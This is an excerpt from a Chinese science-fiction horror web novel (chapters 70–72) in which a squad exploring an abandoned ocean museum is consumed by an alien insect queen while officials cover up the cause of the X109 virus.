地图在他的操作下缓缓转动,一座规模巨大的海洋博物馆设立在这座火山岛的岛中心,其曾经是半月湾的标志性建筑,但在这里经历了几场无差别恐怖袭击后,所有人都逃离了这里。
那个可疑的高温坐标就藏在里面,地图上鲜红的高饱和颜色不断闪动。
只要他们沿着前面的人行道进去,凭着风景区的路标一路指引,应该就能找到坐标了。
海风拂过,将附近的垃圾堆里一张纸片卷起,轻轻飘落到萧翎脚边。
他俯身捡起。
这看起来是一张传单,上面的图画和文字已经严重褪色,只可见模糊不清的几行字——
“……在海石……旅游区,奇岩与沙滩…,海水清纯透亮,盐……”
“1.请各位游客……,左……是游泳戏浪的最佳……”
“2.……是本市……”
“……月湾海…博物馆中心,诚挚欢迎…的到来!”
传单一角在萧翎手中随风翻飞,发出扑簌簌响动的声音,他正低头沉思着,身后突然传来下属的声音,“报告长官,准备完毕!”
他回过神来,点击收起全息地图,远远望向前方的人行道。
行至此处,退无可退。
“整队,出发。”
……
一行人在海景观区里走了约一刻钟后,顺利抵达了目的地——半月湾海洋博物馆中心。
一扇巨大的铁门挡在他们面前,门扉上镶嵌着锈蚀的精致铁艺装饰,象征着海洋的波涛与冰山的坚硬,透出一种被遗忘的哀愁。
萧翎站在全队前头,无声地用手势命令所有人检查好武器后,缓缓地推开尘封已久的门扉——
一座巨大的仿冰山不规则建筑,外部通体用坚硬的金属和特制钢化玻璃构造,采用了冷冽而庄严的白色石材作为主要建材,模仿了冰川的纹理与形态。
周边海洋游乐场区域的建筑群同样以半透明材料进行建造,以冰蓝色调为主色,远远看去,如数座巨大的浮冰平静地倾覆倒映在海域之上。
只是因为年久失修,在风雨的侵蚀下,建筑的表面已斑驳陆离,透出一种荒凉而古老的美。
萧翎带着一行人先谨慎地在周边游乐场里仔细搜查了一番,在明确没有发现可疑的人类生活迹象后,才开始准备进入博物馆。
主体博物馆的入口同样是一个不规则的仿冰山洞口,内部通道约百米深,厚实的内壁在天光折射下散发出迷人的冰蓝色调。
沉重的脚步声在通道里低低地回荡,士兵们警惕地左右观察着,其中最年轻的一个忍不住放慢了脚步,偷偷观察墙壁里面有没有鱼在游。
当人们身处远离人世的地方时,潜意识里总是会期盼着发生些什么不可思议的奇迹。
可惜他还没来得及观察仔细,身旁的士兵警告性地咳嗽了一声,他只好灰溜溜地跟上队伍。
走了约五分钟左右,周围的光线越发昏暗,他们的视野逐渐开阔起来——他们进入了地面上第一层的公共用餐区。
这里的灯已经坏了,充满视野的黑暗泛着一股子阴气森森,带给人一种强烈的不安。
萧翎冷静地一声令下,所有人启动头盔上的探照灯,一边继续向前走,一边警惕地四处观察着。
环形吧台上积了厚厚一层灰,自助用餐区空空荡荡,角落里的一个桌子上留着一个脏兮兮的餐盘,看起来是当初的服务员没来得及收拾干净。
战前……这里到底发生过什么呢?
萧翎一行人沿着环形的主体走廊一路前行,偶尔瞥见几只乱窜的老鼠经过,但都有惊无险。
路的尽头,他们停住脚步。
出现他们面前的是三个锈迹斑斑的电梯,和一个半扇铁门被卡住了的楼梯通道。
电梯显然已经不能用了,带头的士兵果断飞起一脚将铁门踹飞,空气中扑飞起阵阵灰尘,暴力破坏的声音刺耳极了,却反而给所有人都壮了胆。
一行人振作起精神,有序地排队走下环形蜿蜒向下的楼梯通道。
脚步声在狭隘的空间里不断回响,一步一步通向深邃处的未知,探照灯光线与黑暗阴影的分割线外,暗藏着不可触碰的存在。
黑暗中,掩藏着细不可闻的、窸窸窣窣的响动。
内心的勇气在一点点消磨,为首的士兵看到大门的那一刻,急忙加快了脚步,几乎是带着一种愠怒用力踹开大门。
“砰——!”
光线里尘埃弥漫,更为宽阔的空间呈现在他们面前了。
士兵们不断用探照灯四处扫射着,光线晃动中,隐约可见透明玻璃隔断的空间隔断里,整整齐齐陈列着的各种各样的海洋生物标本、古老的航海地图、以及描绘冰山壮丽景色的人造工艺品。
其中的许多展品看起来已残缺不全,被一层厚厚的尘埃所覆盖,但从此处规模之大,依稀可见这里是往昔的招牌展区。
但过于复杂的空间,往往最需要提高警惕。
萧翎站在队列最前头,用手势命令所有人掏出腰间的枪支。
所有人启动护目镜的热成像系统,在各种海洋生物的骨骼标本间慢慢地穿梭。
一行人如上次一样找到出口,下到负二层时,开门可见的却几乎是一样的展厅。
很显然,门口的牌子已经写明了,这里是海洋自然展区,与他们刚刚经过的上一层共有六个展区,分别展示了不同时期的海洋生物骨骼标本。
热成像仪中的颜色一片温和,士兵们怀着或多或少侥幸的心理,朝着负三层继续前进。
打开通道铁门的一瞬间,所有的探测仪顿时发出疯狂的警报声,所有人呼吸一窒,不约而同地绷直了身体。
恐怖的景象闯入眼帘……
热成像系统上显示,蜿蜒向下的通道中遍布密密麻麻的红点,一直深入到深不见底的黑暗中去,活像一根烧红了的烟管内部。
一个年轻的士兵结结巴巴地说道:“那……那是什么?”
他旁边的前辈凶狠地瞪了他一眼,警告他这种时候不要用这种怯懦的语气说话。
望着那片刺眼的鲜红,萧翎此刻也有些汗流浃背。
目前开发的热成像系统还没有具备能探测病毒和微生物的功能,这些密密麻麻的高温红点显然是一种具有一定体积大小的多细胞生物。
昨天明明还只探测到一个,今天居然已经多了这么多吗?
强迫自己冷静下来,他看向身后的副官,沉声道:“下一层是什么地方?”
副官立即答道:“报告长官,下面负三层全部属于海洋生态展区,从上到下分别是活体珊瑚展区、活体鱼类展区和活体水母展区。”
既然如此,按理来说,下面三层应该是海洋生物们的水中坟场了。
萧衍点了点头,重新看向通道里面。
热成像仪系统上显示的密密麻麻的红点明灭闪动,他深呼吸一口气,关闭护目镜上的系统,视野里重新恢复一片漆黑。
接下来该怎么做?
他的心狂跳起来,两股冲动在他胸中交缠打斗。
他固然可以冒险直接进入,但他身后的二十五条活生生的生命显然不能由他私自做主。
他们
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花了半天就已经深入到这里,时间还很充足,或许不必着急……
萧翎想到这里,犹豫了一下,再次回头看向副官。
“把坐标发给AGPC科技管理局,通知他们,前方发现不明生物体,请求派出专员调查。”
“是!”
后面的士兵们一动不动,但各自都暗暗松了一口气。
副官找了个信号好一点的角落,开始发信号。
萧翎重新戴上护目镜,开始思考今天晚上该怎么安排吃住。
然而还没等他想几分钟,身后副官的声音再次传来——“报告长官,科技管理局发来通知,不必理会意外因素,请继续加速前进!”
缩在角落里的几个士兵倒吸了一口冷气。
开什么玩笑!
难以置信这样的命令,萧翎简直怀疑自己听错了。
袁立那个老东西怎么有资格替他们做决定?
他心中顿时燃起一股怒火。
萧翎猛地回过头,看见副官和身后一群士兵不约而同有些发青的脸色,整个人顿时冷静了大半。
现在所有人都在害怕。
X109病毒的可怕不是开玩笑的,失去原本的自我,融化做一滩不知其所思亦不知其所想的泥水,是每个人内心中本能的、最恐惧的事情。
但身为军人,往往就是要战胜自我,向所有人最恐惧的地方去。
这就是无人区特遣部队存在的意义。
但是……现在这个所有人最胆怯的时候,他要带着他们,夹着尾巴灰溜溜地向外面逃去吗?
如果他的确那么做了,那么他做出的决定,究竟是因为理性思考下的决断,还是懦弱的逃避?
理智和本能在彼此对抗,一阵突如其来的恐惧爬上萧衍心头,他不由自主地捏紧了拳头。
良久,他转过身,凝视着他身后的所有士兵,他们有的看起来故作镇定,有的不安地低头不语,有的沉默地擦着枪支……
空气里的氛围变得越来越沉重,萧翎脸上的神色也越发严肃起来。
无论如何,他们的身后还有家人。
良久,在副官胆战心惊的注视下,他艰难地开口:“继续通知AGPC科技管理局,前方发现不明生物体,请求派出专员调查。”
“是!”
两分钟后,副官有些虚脱的声音再次传来——“报告长官,科技管理局发来通知,不必理会意外因素,请继续加速前进!”
昂扬的语调在所有人心中落下一记重锤,空气此时越发凝重。
角落里,突然发出一声低低的啜泣。
萧翎内心那种因为自己的犹豫不安而滋生的恐惧与愤怒彻底被这一声啜泣点燃,他猛地回过头,在众目睽睽下朝那个哭泣的士兵怒吼:“哭什么!”
士兵泪流满面地挺直了身体,不再发出声音。
气氛再一次陷入死寂,萧翎心中的怒火还未平息,一个士兵突然昂首挺胸地站出队列,走到萧翎面前,大声说道:“报告长官!”
“说。”
“无人区特遣部队刘志伟请令,向负三层继续前进!”
萧翎不可思议地看着这个坚定的士兵。
他记得他,他是这群人里资历最老的一个,也最顾大局。
此时他站出来,想必是知道此时士气低落,整个队伍现在急需果断的指令。
看着眼前的士兵,萧翎心中突然闪过一丝复杂的情绪。
紧接着,队列里站出来第二个士兵,第三个,第四个……
“无人区特遣部队周宇请令,向负三层继续前进!”
“无人区特遣部队伍德阳请令,向负三层继续前进!”
……
气氛渐渐热络起来,每个人的眼里重新有了光。
当最后一个士兵也站上前的时候,整个队伍已经重新变得士气昂扬。
他们重新相信,他们必将凯旋归来。
萧翎看着他的士兵们,他的内心也逐渐变得坚定。
行至此处,一往无前。
他沉声道:“全队听令,继续前进。”
70.她在水中游,唱起复生曲
三分钟的时间,用以让所有人检查好装备。
一秒钟的时间,用以踏出第一步。
这次他们坦然了许多。
在热成像夜视仪的辅助下,士兵们谨慎地避开脚底和墙壁上可疑的红点,列队走下蜿蜒向下的楼梯。
事实上,那些红点的温度实际上并没有热成像夜视仪里显示的那样可怕。
通道里静悄悄的,长期封存地底下的空气闷热,只能听到沉重的脚步声和呼吸声,时间一点一点过去,见始终没有威胁出现,一些人的胆子渐渐大了起来。
队伍末尾,一个年轻的士兵悄悄伸出两根手指,轻轻夹起墙壁上一个约指甲盖大小的“红点”。
非常柔软的触感,有着一定的温度,但并不让人感到不适。
他轻轻地捏了一下,指尖顿时发出一声极其细微的爆响声。
“什么声音?”
队伍前方的副官警惕地回头问道,身处这种匪夷所思的鬼地方,他此时的神经可是紧绷到了极点。
没人回答。
当事人悄悄地低下头,不动声色地在裤腿上擦了擦手指。
突然,队伍最前头的萧翎停下脚步,在副官耳边说了句什么。
副官立即大声答道:“是!”
就在那个年轻的士兵开始为自己的所作所为担忧时,副官却出乎意料地回过头,大声重复了一遍萧翎刚才的话——
“所有人,加速前进!”
在等待副官传令的过程中,萧翎皱着眉,看着脚底的一滩粘液。
那是他刚才不小心踩爆的。
热成像夜视仪里显示,地面密密麻麻的红点之间,静静地绽放着几朵绯红的颜色,而周边的那些红点正纷纷向外爬去,似乎唯恐受到殃及。
他悬着的心慢慢放下来,看起来,这是一种喜爱高温和阴暗潮湿环境的昆虫。
海洋馆底部的展厅深入地底,内部大量的水资源被常年封闭着,空气又如此闷热,没有通风的地方,会吸引来这样的昆虫倒也不奇怪。
或许袁立是对的,是他多虑了。
萧翎的命令很快就传遍了整个队伍,所有人重新加快了脚步。
年轻的士兵暗暗松了一口气,赶紧跟上。
走了约五分钟后,通道尽头的大门终于出现在他们面前。
副官回过头,命令道:“所有人,检查装备!”
队伍里衣物摩擦的声音窸窸窣窣响起一阵,很快就又恢复了平静。
见差不多了,副官小跑到萧翎面前,低声说了句什么,萧翎微微点了点头,站到队伍前头,伸手开启了面罩上的热成像夜视系统。
他沉着脸,握紧手中的枪,缓缓推开大门。
刺耳的金属摩擦声在密闭空间响起,逐渐敞开的门缝之间,探照灯束刺穿黑暗的刹那,一阵寒意倏地向他迎面吹来,呼吸一窒,他突然感觉有冰冷的液体漫延过全身。
不,这不是水,他立刻反应过来。
这是封闭了几十年的海洋馆地底深处所特有的,极度潮湿的空气。
他走出通道,军靴刚踏上走廊地面,整个人就像陷进了深海淤泥般,诡异而又柔软的感觉让他心头一颤。
“所有人,退后!”他赶紧回头大喊,防毒面罩中呼出的气体与地下弥漫的冷气相遇,在防护面罩上凝成一层白霜。
头盔上的探照灯随着他的动作猛地一拧,刺眼的光线在地面晃了一下,他忽然注意到地面——热成像仪里泛着淡淡的、温暖的桔红光芒。
地面上铺就的根本不是什么瓷砖,而是厚厚的生物胶质层,一种无色透明的黏液,
……这是什么?
萧翎忍不住咽了一口口水,他抬起头,探照灯的光线穿过他身前长长的走廊,穿过寒冷的雾气间,一路照到深处——
视野被一大片触目惊心的红所占据,一股股或深或浅地流动着,最热烈的颜色深处,剖开的色彩界限之间,一颗滚烫的心脏居于其中,疯狂地鼓动着,泵出大股大股的血液。
无数血管彼此交织,穿过心脏的静脉动脉,将周围无数自由漂浮的器官连接在一起,肝脏、小肠、胃囊、大脑……整个世界变成了一张活生生的内脏组织网络。
萧翎踉跄一步,哆嗦着手关闭热成像仪,重新抬起头看向前方。
探照灯明亮的光线下,玻璃展区中浑浊的海水里,交缠错落的丝藻彼此缠绕,无数水生生物半腐烂的尸体困于其中,露出的内脏或是随着水流缓缓漂动,或是被缠缚于丝藻之间。
走廊的深处,一副沉积在底部的巨型不知名鱼类骨架之间,隐约可见一个模糊的人影,一些浑浊的絮状物和零零碎碎的生物组织在她身边漂浮,而她和这里其他的所有生物一样,一动不动。
一片死寂。
看到走廊深处还有人存在,哪怕只是一具尸体,也让萧翎顿时冷静了许多。
毕竟这是他司空见惯的事。
他的地理知识并不特别充足,虽然不知道为什么这里封闭的海水如此温暖,空气却如此寒冷,但至少目前来看,此处并没有什么威胁。
先去看看那个人影吧,他想,那可能是战前被困在这里,没来得及逃走的潜水员。
萧翎回过头,做出关闭热成像仪,重新出发的手势,门缝里早已等待已久的副官立刻将命令传递了下去,不一会儿,通道里的士兵们陆陆续续地走出。
他们一踏上地面,起初也和萧翎一样吓了一跳,但看到萧翎前进的背影,也不得不强迫自己适应下来。
四周出奇地安静,士兵们手持匕首,警惕地四处观察着,他们所走的每一步,鞋底与粘液不断地挤压着,缝隙间溢出的粘液将所有声音吸入,黑暗与光明穿插间,唯余彼此沉闷的呼吸声。
在探照灯光线照射下,他们逐渐看清了周围的景象,走廊的两边是两堵巨大的玻璃屏,水珠从表面慢慢渗出,凝成雾气的帘幕,与上面的青苔彼此混作一片浑浊的灰绿色,叫人看不清水中零零碎碎漂浮着的生物组织。
空气黏稠得像浸透水的海绵,尽管防毒面罩已经杜绝了所有的气味,但他们仍然可以感受到那股极其浓厚的、腐烂的藻类味道,无声无息地透过他们裸露在外的皮肤,在他们皮肉之下一寸寸地游走。
走了约五分钟左右,潮湿的空气已经将士兵们的衣服浸透,湿答答地滴下水来,防毒面罩上布满了水珠,弄得视野里朦胧的一片,他们因此不得不一次次地放下手中的枪去擦拭。
萧翎喘了口气,感到有些困倦,他用力地眨了一下眼睛,试图让自己清醒一些。
此时此刻,他的困在防毒面罩里被闷得晕乎乎的大脑,寒冷的空气浸透的身体,和鞋底传来的那种滚烫的感觉,让他身体的感知已经有些混乱。
好在走廊尽头的那个东西就在眼前。
他焦躁地抹了一把面罩上的水珠,抬头望向巨大玻璃屏内静静漂浮的少女。
数股长长的丝藻将她的身体缠绕,或许是因为长时间封闭在水中的原因,少女的身体看起来还很新鲜,一头黑色水母般的发丝随着水流缓缓流动,半遮去熟睡般的、静谧的面庞。
奇怪的是,少女的皮肤呈现黑色,四肢和身体也比寻常的人类长一些,胸腔破开一个大洞,露出里面鲜红的心脏。
黑色的皮肤……是潜水服
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吗?
突然,像是看到了什么可怕的怪物般,萧翎慢慢睁大了眼睛。
心脏在跳动。
萧翎感到自己的脊背窜上一股深入骨髓的寒意,整个人顿时僵住,视线从少女身上重新收回的那一刻,他才惊觉自己的处境——
眼前的少女周围静静地漂浮着数个人体组织,从他的位置一直到他们走来的一路上,无数的内脏、器官……连同四处散落的已经被浸透得半透明的皮囊,已经将他们重重包围。
疯狂跳动的心脏,连同水中细不可见的血管一起,将整个海洋馆的内脏交络,它们一齐跳动着,整个世界在平静地呼吸。
萧翎的大脑顿时僵住了,好像一团凝固的胶状物,他感到它在抽动着,磕磕绊绊地说着什么器官走私,人体贩卖之类的东西,但他的灵魂已经因为那极度的恐惧脱出身体,□□则静静地僵在原地,一动不动。
从那渐渐失去自我的□□里,那纯粹的肉与灵的隔离中,他听见自己可怕的妄想——渴望成为这巨大胎腹中的一员,回到母亲腹中的羊水中去。
不!
他的灵魂在尖叫,以他迄今为止的所有记忆和成就发誓,他绝不要失去自我!
凭着最后一丝残存的理智,萧翎颤抖着嘴唇,发出最后的声音;“所有人,紧、急撤……”
然而他还没来及说完,整个人就软软地瘫倒在地上。
地上粘稠的液体糊住防毒面罩,也挡住了他的视野,意识混乱之间,他隐约感觉到那些粘液爬上他的身体,滚烫的温度隔着厚重的衣物透过他的皮肤,冷热交替间,不断刺激出阵阵黏腻的冷汗。
一声声沉闷的响动在他身后不断响起,他似乎听到有人喊了句什么,但他实在不敢去相信那些是他倒下的士兵。
他拼命地睁开黏在一起的眼皮,想抬起头去看一眼,但柔软得能拧出水来的脖颈让他抬不起头来。
他在慢慢融化。
衣服、面罩和装备一点点松软下去,陷落在晶莹剔透的黏液中。
在他彻底失去世界之前,他缓缓滑落的左眼瞥见了最后的景象——一颗大脑缓缓地向他爬来,温柔地采撷了他最后的视线。
人死了,就像水消失在水中。
水中的阿图特缓缓睁开眼,整个世界此时随着她缓缓转动。
察觉到母亲的苏醒,走廊地面的黏液顿时骚动不安起来,巨大的玻璃如沙粒般化落,所谓的海水也生动地扭动起来,所有的器官也好,内脏也好,鱼骨也好……都拖着周生的黏液向母亲身边疯狂挤去。
阿图特打了个哈欠,伸出一根手指,轻轻地抚摸离她最近的一颗眼珠。
眼珠的颜色开始变化,逐渐变得透明,黑色瞳孔的位置倏地张开,露出充满尖牙利齿的口腔内部,整个眼球也慢慢舒展开来,变成数条柔软的水晶蠕虫。
这就是她们真实的形态,如人体的细胞般聚集在一起,拟态作活体的器官,在吞噬了宿主的记忆后,以其原生的方式生存。
她们乖巧地闭上口腔,亲昵地用头去触碰母亲的指尖,这是生物最本能的温情。
远处没能挤过来的虫群发出窸窸窣窣的尖叫声,阿图特微微皱着眉头看向那边,虫群顿时平静了下去,不一小会儿,整个展厅就慢慢恢复了原状。
她又开始在海水里浮游,困倦了,就慢慢闭上眼睛,沉沉睡去。
在梦中,她梦见那片原始的蔚蓝之海,火山和风暴永不停歇,天边电闪雷鸣,剧毒的气体在空气里四处弥漫,滚烫的海水之下,最原初的单细胞生物们自由自在地徜徉其中。
而这片海洋,就要在她的统御下,重获新生。
71.夕人已去,但思去处
北海高危辐射污染区,第三研究所。
清晨,干净整洁的办公室里,身着白大褂的女人端着一杯咖啡站在大屏前,看着上面实时变化的感染率。
只是她现在的心思,其实并不在这些数据上。
“主任,实验室的报告出来了。”
身后传来秘书的声音,屠启回过神来,将手中的马克杯放在桌上。
“先放在这里吧。”
“是。”
往返的脚步声响起了一阵,在秘书即将关门离去的一瞬间,屠启犹豫了一下,突然出声将她叫住。
“您还有什么事需要我帮忙吗?”
“咳,嗯。”
屠启微微点了点头,眉宇间透出些忧心忡忡的心思来,“北海的人来了吗?”
“他们半小时前就来了,现在正在袁主任的办公室里。”
“……我知道了,谢谢。”
“没事,您有什么事请尽管叫我。”
秘书关门离去,独留屠启一人在办公室里,明亮的室内光线照落她身形的阴影,投在地面上小小的一片。
这三天以来派去半月湾的救援小队都一无所获,萧翎多半是已经出事了。
这次如果袁立给不出北海一个合理的交代,零启计划接下来的流程极有可能会被AGPC趁机进一步干涉。
想到这里,屠启烦躁地在办公室里来回踱了几步。
袁立当时就不应该亲自回复,哪怕是装作信号失常呢?这样还能逼萧翎在岛上住一晚上,既不用怕他跑掉,也不会把研究所搭进去。
她拿起桌上的报告,皱着眉翻看上面的文字。
报告封面上,标题的地方赫然写着;零壹肆号实验室研究报告 ,编号:X109-20950215-081
“一、样本基本信息 1.样本来源 ?样本编号X109-20950215-081 ? 来源类型:人体组织残骸(初步判断为高温/化学溶蚀后的残留物)……”
“二、实验方法及流程 1.样本预处理 ?采用纳米孔测序仪进行快速全基因组测序……”
“2.基因序列比对与分析 ?利用BLAST+(NCBI数据库)进行序列比对,筛选出高度保守的阿努特纳虫族特征基因……”
都是些其他实验室之前就送来的东西,只是进一步做了数据上的佐证。
她有些烦躁地翻到了最后几页,看到最关键的那几行文字。
“2.阿努特纳虫族基因存在性 ?在样本里检测到三段完整的虫族基因组(分别为A7NQ2、B4XZ9、C12V8),其核苷酸排列顺序与《地外生物基因图谱》(GB-T AGPC-2076)中虫族基因组高度匹配;”
“1.生物学特性相关 ?基因B4XZ9编码的蛋白质与人类端粒酶(hTERT)结合后,可诱导细胞无限增殖(CCK-8法检测,OD值增长2.3倍)”
“2.建议 ?立即启动I级生物安全响应,对涉事区域实施封闭管控 ?联合世界生命收容所开展抗X109病毒靶向药物研发……”
“七、附件清单 1.基因测序原始数据(FAS……”
看到了肯定的答案,她慢慢放下手中的报告。
结果跟袁立一开始猜测的差不多,X109病毒的来源确实是雌虫。
讽刺的是,她们一开始寻找雌虫的目的,是为了寻求全体人类共同进化的最佳解法,而现在,她们为了找到她,却要放任她去危害最大多数的人类。
而这一切,只是因为袁立需要更多的实验数据。
而这是不被AGPC所允许的。
“在公共场合进行大规模人体实验的后果如果不可控,那就不能批准通过。”杨威这样在她们第一次上交的报告里这样写道。
这是她们第一次违反AGPC的命令,如果真的东窗事发……
突然,屠启猛然想到了什么,愣在原地。
袁立之所以敢直接给萧翎回复那样的命令,是不是早就想好了要让自己当替死鬼?
空调上显示的室温明明在最令人舒适的二十五度,但屠启却感到手脚奇异地冰凉,仿佛置身于冰天雪地之中,全身的血液倏地冷了下去。
恍惚间,办公室的门外再次被礼貌地叩响几声。
“……什么事?”她原地愣了好一会儿才回道。
秘书的声音在门外传来:“袁主任在办公室里请您过去。”
“知道了。”
接下来还有正事要做。
临走前,屠启匆匆看了一眼桌上的报告,犹豫了一下,还是将其带上。
她赶到袁立办公室的时候,那里面已经吵得不可开交了。
“你们说过,你们明明说过!”
听到里面传来的萧衍的声音,她默默把拧开门把手的动作放轻了几分。
办公室里一片狼藉,到处都是打砸过的痕迹,地上散乱着被撕碎的文件资料。
房间中央的办公桌前,萧衍一拳砸在桌子上,红着眼睛怒视着坐在他面前的袁立。
这副场面跟他上次来这里时几乎一样,只是目的不同。
这次是为了他大哥,萧翎的死。
“X109病毒与虫族无关,你们明明说过他这次只是去为AGPC的名誉形象造势,他什么事也不会有!”
袁立的反应出乎意料地泰然自若,他直视着萧衍的眼神,摆着一副长辈的架势,叹息着摇了摇头。
“很遗憾,我们也是昨天才检测出雌虫的基因序列残存。”
屠启走上前来,附和道:“是的,这是实验室刚刚才送来的报告。”
看着萧衍愠怒的侧脸,她犹豫了一下,将怀中文件递过去:“您可以看看……”
“滚!”萧衍狠狠地扇过一巴掌。
屠启只感觉视线黑了一瞬,半边脸一凉,然后火辣辣地肿了起来。
她手一松,文件纷纷散落在地上。
原来纸张与地面摩擦的声音也会如此刺耳。
她下意识看向袁立,后者好像也被吓了一跳,赶紧冲她使了个眼色。
她嘴巴张了张,终究还是默默退后几步,没有说话。
“你们今天必须给我一个交代!”萧衍突然愤怒地拔出腰间的枪,抵在袁立头上。
冰冷的枪头抵在额头的一瞬间,袁立情不自禁咽了一口口水,脸上立马露出讨好的笑意。
他举起双手,看着萧衍的眼睛,试探着慢慢站起身。
“我很遗憾这样的事故发生,但人死不能复生,萧主席以后的路还需要您继续走下去。”
萧衍愣了一瞬,在明白袁立在说些什么后,他握紧手中的枪,太阳穴处的青筋慢慢暴起,怒道:“你的意思是,这种时候,我还要去惦记我哥的位置?”
袁立循循善诱道:“萧三少爷,萧主席不在了,这萧家的顶梁柱您不去担当,难道要您二哥来吗?”
萧衍突然向桌旁砰地开了一枪,木屑纷纷扬扬地落下,他瞪着吓得半死的袁立,恨恨地说道:“少给我来这套,你们今天必须要为我大哥的死付出代价!”
袁立深呼吸了一口气,脸上仍然还是那副讨好的笑容:“代价当然有,代价当然有。”
他举着双手,抖着膝盖扭着肥胖的身体慢慢蹲下,在黑洞洞的枪口下小心翼翼地捡起地上的文件,递到萧衍面前。
“您看,X109病毒的真凶已经出现了,我们明天就可以递交给AGPC,所有人都会给萧主席一个交代!”
见萧衍的眼神逐渐变得疑惑,他紧接着补充道:“我明天就到联合会议室里公开报告,临时成立特别作战队,所有的主席都会派人参与,咱们
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从无人区军队到星际特工局,从联合城邦到阿努特纳星,必须要将阿努特纳虫族一网打尽!”
萧衍狐疑地看着袁立,扣紧扳机的手指略微松了几分,“怎么个一网打尽?”
见萧衍渐渐冷静了下来,袁立心中暗暗松了一口气,他用沉着的语气说道:“我会和其他主席商量,即刻让您接替无人区特遣主席的位置,带领北海特遣部队去半月湾亲自进行围剿行动。”
听到这里,萧衍神色间生出几分犹豫,他紧皱着眉头,慢慢放下手中的枪。
“又去一次半月湾……你不会害我吧?”
闻言,袁立脸上立刻露出一副羞愧而沉重的表情。
四十三岁的老人脸上露出这样的神色,实在让人于心不忍。
他叹息着摇了摇头,拍着胸脯郑重地说道:“我袁立以整个AGPC科技管理局的名誉做保证,绝对不会再有这样令人叹惋的事情发生。”
萧衍慢慢地坐到椅子上,大哥那高大的身影浮现在他脑中,久久挥散不去。
他曾经最憧憬的偶像,也是最忮忌的对手,那个一直走在他前面的人,已经不明不白地死在了北海之外地方。
袁立见萧衍陷入了沉默,抬头瞥了一眼站在后面的屠启,后者站在原地,微微低着头,不知道在想些什么。
他咳了几声,站到办公桌边上,惆怅地长叹一声。
“现在,整个无人区只有您才能重新担当起萧家守卫人类的重任。”
办公室里沉默了一阵,良久,萧衍突然摇摇晃晃地站起身,向门外走去。
与屠启擦肩而过的一瞬间,他放话道:“记住你们的承诺。”
门砰地一声关上,办公室里就此只剩下两个人。
确保萧衍已经走了,袁立总算松了一口气。
他一屁股坐到椅子上,冷笑道:“乳臭未干的臭小子。”
屠启沉默地捡起地上的文件,将它们一张张整理好。
袁立自顾自地骂了一阵,等心中感到痛快点后,他看向屠启,得意洋洋地搭话道:“怎么样,实验室结果出来了吧,是不是跟我说的一样?”
“嗯。”
“老子就**知道!”
他兴奋地站起身来,在办公室里走来走去,大码真皮皮鞋把地板踏得嗒嗒作响。
“老子就知道,这种不可思议的奇迹只有虫族才能弄出来,集中所有人的意志,更优秀的生存形态,更强悍的机能!”
“只要这次计划可以成功,我们所有人都可以重新进化一次,我们是移动的战无不胜的堡垒,永远不死的身体,永远不死的意志……”
屠启坐到沙发边缘的位置上,冷眼看着袁立狂热地喃喃自语,这种事他每天都要做一遍,为的就是一遍又一遍不断确认他那绝对崇高的科学信念,无上神圣而光荣。
自从南洋那件事发生后,他始终坚信,他就是神。
突然,袁立转身看向办公室中央的装置,里面的【零】始终如一日地散发着璀璨的光芒,无数碎星般的光点围绕着它,平静地缓缓流转。
他激动地扑过去,痴迷地抚摸着装置外冰冷的玻璃屏,仿佛抚摸一个男人最初的恋人。
“【零】啊,我的【零】……”
他情不自禁地将脸贴到玻璃屏上,拥抱着玻璃装置,喃喃道:“与我一起,走向无上光荣的进化吧……”
屠启看着这一幕,内心顿时生出一股恶寒,她猛地站起身,带着报告离开办公室。
她清楚地看到,袁立那张肥脸在玻璃屏上印下一块油腻的印子。
走在走廊人群穿梭间,她如日常一样微笑着对每个人打招呼,他们眼神中纷纷透出对她半边红肿脸色的惊奇,却又都谨慎地低下视线,不敢去细看。
而她的脚步比以往要更匆匆。
她想,是时候计划离开这里了。
72.北海英雄初胜,佳人藏秘归来
最新的前线战报在A1区的公示大屏上循环播放,偶尔穿插进几条广告,今天的上邦异常寂静,连最繁华的商业街也大半都关紧了店门,街上空荡荡的,几乎看不到几个人,偶尔远远传来几声流浪狗的狂吠。
孙志成临时在组成的特遣执行官队伍成效显著,下邦的暴乱没有蔓延到安全区内,城市最核心的地方仍然在文明管控之下。
夜间,A2区大学城的一所复式大平层公寓内,两个女人一边贴着面膜,一边闲坐在客厅里看着新闻,空调显示室温保持在二十三度,地毯上趴着的狗紧紧盯着沙发边上舔毛的猫,隔壁的餐厅突然多亮起一盏灯,是保姆正在收拾桌上残余的晚饭。
新闻里冰冷的女声播报着黑环昨夜突发的反抗军暴动事件,两个女人有一句没一句地聊着,屋外夜雨淅淅沥沥地下着。
小女孩低着头看了一会书,发现没有人关注到自己,随即踮着脚悄悄回到自己的房间,轻轻地关上房门。
她对那些无聊的新闻一点也不感兴趣。
门锁发出喀嚓的一声,是一种物的绝对安全保证,她立刻兴奋地扑到床上,赶紧用被子给自己围了一个舒舒服服的窝,等会她就要用全息投屏去找网上的朋友们玩。
她刚刚围好窝,正要躺上去,突然,门外传来熟悉的声音——“我回来了,妈妈。”
她眼睛一亮,猛地从床上弹起来,打开门飞奔而出,大声喊道:“顾遥姐姐!”
果然是顾遥,她站在屋外庭院里,雨夜下的灯光衬得她的脸色比以往化妆还要苍白几分,光洁的额头上紧贴着几缕汗湿的发丝,身上还穿着那身朴素的黑色西装,显然是刚刚才开完会议回来。
她把雨伞放在屋檐下干燥一些的木平台上,隔着落地窗看见妹妹向她跑过来,她赶紧在裤腿上擦了擦手,才拉开玻璃门走进来。
听见门铃响动一声后,坐在沙发左边的女人才转过头来看了顾遥一眼,她脸上的火山泥面膜还有十分钟才能洗掉,“会议上怎么样?”
顾遥抱住猛扑进怀里的妹妹,有些拘谨地笑了笑,“他们还是决定不通过。”
“南宫问天都死了,他们还要瞒下去?”
“嗯,其实我也不懂……”
其实她也不懂,为什么要把虫灾的事继续瞒下去,就为了保住一个祝吟辰,那个放出了雌虫的特工。
现在AGPX仍然对外坚称,萧翎的死是因为X109病毒感染,新上任的萧衍只是去前线消灭病毒而已。
他们丝毫不提,X109病毒的本质,是人体组织被虫族啃食后留下的基因残留。
根本没有什么感染。
这些都是十二主席内部的情报,她正犹豫着要不要向母亲倾诉,然而女人却丝毫没有听下去顾遥接下来话的意思。
女人敷衍地点了点头,又将头转了过去。
顾遥嘴巴无声地张了张,尽管身体已经自觉地默默低下了头,但怀中妹妹好奇的眼神还是让她试图挽回一点在家中的话语权,她喉咙里没咽下去的话转了个弯儿,淌在舌头上又苦又涩——“还有晚饭吗?”
“王妈还在餐厅里。”女人简洁地回道。
另一个女人始终安安静静地紧盯着大屏上的新闻,不敢多掺和这对母女的一点儿事。
